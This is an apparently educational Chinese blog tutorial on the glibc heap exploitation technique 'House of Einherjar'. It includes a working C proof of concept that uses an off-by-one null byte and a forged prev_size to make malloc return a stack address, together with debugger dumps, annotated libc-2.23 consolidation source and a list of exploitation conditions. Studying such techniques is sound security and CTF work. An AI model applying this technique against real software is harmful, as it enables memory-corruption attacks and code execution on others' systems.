0%

House Of Einherjar-原理

House Of Einherjar

house of einherjar 跟 house of force 差不多,最终目的都是控制 top chunk 的值

该技术可以强制使得malloc返回一个几乎任意地址的 chunk


House Of Einherjar 利用姿势

伪造一个 chunk,计算最后一个 chunk 到我们伪造 chunk 的距离,设置为最后一个 chunk 的 pre_size 位,当 free 最后一个 chunk 时,会将伪造的 chunk 和当前 chunk 和 top chunk 进行 unlink 操作,合并成一个 top chunk,从而达到将 top chunk 设置到我们伪造 chunk 的地址

​ // 和 house of force 不同,想要控制目标区域的 offset(fake_presize) 通常为正

通过 off-by-one 把最后一个 chunk 的 pre_inuse 标志位置零,让 free 函数以为上一个 chunk 已经被 free,这就要求了最后一个 chunk 的 size 必须大于 0x100,要不然会在 top chunk 进行合并操作的时候失败(指被覆盖为“\x00”)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <malloc.h>

int main()
{
setbuf(stdin, NULL);
setbuf(stdout, NULL);

uint8_t* a;
uint8_t* b;
uint8_t* d;

a = (uint8_t*)malloc(0x38);
printf("a: %p\n", a);

int real_a_size = malloc_usable_size(a);
printf("Since we want to overflow 'a', we need the 'real' size of 'a' after rounding:%#x\n", real_a_size);

size_t fake_chunk[6];

fake_chunk[0] = 0x100;
fake_chunk[1] = 0x100;
fake_chunk[2] = (size_t)fake_chunk;
fake_chunk[3] = (size_t)fake_chunk;
fake_chunk[4] = (size_t)fake_chunk;
fake_chunk[5] = (size_t)fake_chunk;
printf("Our fake chunk at %p looks like:\n", fake_chunk);

b = (uint8_t*)malloc(0xf8);
int real_b_size = malloc_usable_size(b);
printf("b: %p\n", b);

uint64_t* b_size_ptr = (uint64_t*)(b - 8);
printf("\nb.size: %#lx\n", *b_size_ptr); // 覆盖前:b.size = 0x101(0xf8+0x8+1)
a[real_a_size] = 0; // 写入chunkB->size(chunkB->presize也属于chunkA的数据区)
printf("b.size: %#lx\n", *b_size_ptr); // 覆盖后:b.size = 0x100(覆盖了末尾的1)

size_t fake_size = (size_t)((b - sizeof(size_t) * 2) - (uint8_t*)fake_chunk);
printf("Our fake prev_size will be %p - %p = %#lx\n", b - sizeof(size_t) * 2, fake_chunk, fake_size);
*(size_t*)&a[real_a_size - sizeof(size_t)] = fake_size; // 修改chunkB->presize

fake_chunk[1] = fake_size;

free(b); // 释放chunkB,topchunk将会被控制到“&fake_chunk”
printf("Our fake chunk size is now %#lx (b.size + fake_prev_size)\n", fake_chunk[1]);

d = malloc(0x200);
printf("Next malloc(0x200) is at %p\n", d); // 打印fake_chunk的数据区地址
}

覆盖前:

1
2
3
4
5
6
7
pwndbg> x/20xg 0x55555555b000
0x55555555b000: 0x0000000000000000 0x0000000000000041
0x55555555b010: 0x0000000000000000 0x0000000000000000
0x55555555b020: 0x0000000000000000 0x0000000000000000
0x55555555b030: 0x0000000000000000 0x0000000000000000
0x55555555b040: 0x0000000000000000 0x0000000000000101
0x55555555b050: 0x0000000000000000 0x0000000000000000

覆盖后:( a[real_a_size] = 0 )

1
2
3
4
5
6
7
pwndbg> x/20xg 0x55555555b000
0x55555555b000: 0x0000000000000000 0x0000000000000041
0x55555555b010: 0x0000000000000000 0x0000000000000000
0x55555555b020: 0x0000000000000000 0x0000000000000000
0x55555555b030: 0x0000000000000000 0x0000000000000000
0x55555555b040: 0x0000000000000000 0x0000000000000100
0x55555555b050: 0x0000000000000000 0x0000000000000000

修改后:( (size_t)&a[real_a_size - sizeof(size_t)] = fake_size )

1
2
3
4
5
6
7
pwndbg> x/20xg 0x55555555b000
0x55555555b000: 0x0000000000000000 0x0000000000000041
0x55555555b010: 0x0000000000000000 0x0000000000000000
0x55555555b020: 0x0000000000000000 0x0000000000000000
0x55555555b030: 0x0000000000000000 0x0000000000000000
0x55555555b040: 0xffffd5555555d2f0 0x0000000000000100
0x55555555b050: 0x0000000000000000 0x0000000000000000

释放后:( free(b) )

1
2
3
4
pwndbg> heap
Allocated chunk
Addr: 0x7ffffffde010 /* GDB显示有误(控制了topchunk之后,GDB就显示不准确了) */
Size: 0x00

结果:(显示的地址和上述GDB调试的地址不同,因为这是两个不同的进程)

1
2
3
4
5
6
7
8
9
10
11
➜  [/home/ywhkkx/桌面] ./test
a: 0x560df0294010
Since we want to overflow 'a', we need the 'real' size of 'a' after rounding:0x38
Our fake chunk at 0x7ffcea6130c0 looks like:
b: 0x560df0294050

b.size: 0x101
b.size: 0x100
Our fake prev_size will be 0x560df0294040 - 0x7ffcea6130c0 = 0xffffd61105c80f80
Our fake chunk size is now 0xffffd61105ca1f41 (b.size + fake_prev_size)
Next malloc(0x200) is at 0x7ffcea6130d0 // 申请到了0x7ffcea6130c0的数据区

总而言之,利用手段为:

  • 已有两个 chunk(最后一个chunk,和倒数第二个chunk),释放倒数第二个 chunk
  • 重新把倒数第二个 chunk 申请回来,在最后一个内存空间(lastchunk->presize)的位置写入 offset(可以索引到 fakechunk),同时溢出“\x00”覆盖 lastchunk 的P位(lastchunk->size)
  • 提前在 fakechunk 处伪造好数据:presize(offset),size,FD,BK,FDsize,BKsize
  • 释放 lastchunk

向后合并机制与利用点

下面是 libc-2.23 中,向后合并的源码:

1
#define chunk_at_offset(p, s)  BOUNDED_1((mchunkptr)(((char*)(p)) + (s)))
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
if (!(hd & PREV_INUSE))                    /* consolidate backward */
{
prevsz = p->prev_size;
/* 记录相邻堆块p的prev_size值 */
p = chunk_at_offset(p, -(long)prevsz);
/* 堆块p的指针最后由chunk_at_offset()函数决定 */
/* 将原本p指针位置加上s偏移后的位置作为合并堆块的新指针(向上增加) */
sz += prevsz;
/* size = size + prev_size */

if (p->fd == last_remainder(ar_ptr)) /* keep as last_remainder */
islr = 1;
else
unlink(p, bck, fwd);
/* 检查并脱链 */
}

可以看到执行 set_head() 函数后,合并堆块的 size 会变为两个堆块的总和,并且 top_chunk 的指针会指向被合并的堆块 p 的位置,就相当于 top_chunk 把 p 给吞了,并取代了 p 的位置

可以发现程序并没有对 向后合并 进行过多的检查,不管 presize 是多少都是合理的

保护检查:后向合并中没有多少检查,但是unlink操作会先检查 “fakechunk->size” (必须可以通过 size 索引到“last chunk”,并且P位为“0”,这样才会进行 unlink),因为“fake_size”(offset)很大,fake chunk 会被当做是 large chunk ,所以还会格外检查 FD,BK,FDsize,BKsize

破解办法:控制“fake chunk”,写入“fake_size”,在“FD,BK,FDsize,BKsize”中写入“fake chunk addr”就可以通过检查(至少在 libc-2.23 是这样的)

利用条件:

  • 用户能够篡改 top chunk 的 presize 字段(篡改为负数或很大值)
  • 有 off-by-one ,可以覆盖最后一个chunk的P位为“\x00”(使其在和 top chunk 合并后还可以进行后向合并,通过“chunk->presize”索引到“fake chunk”把 top chunk 合并到“fake chunk”上)
  • 可以控制“fake chunk”

版本对 House Of Einherjar 的影响

libc-2.23

基本没有影响,可以直接打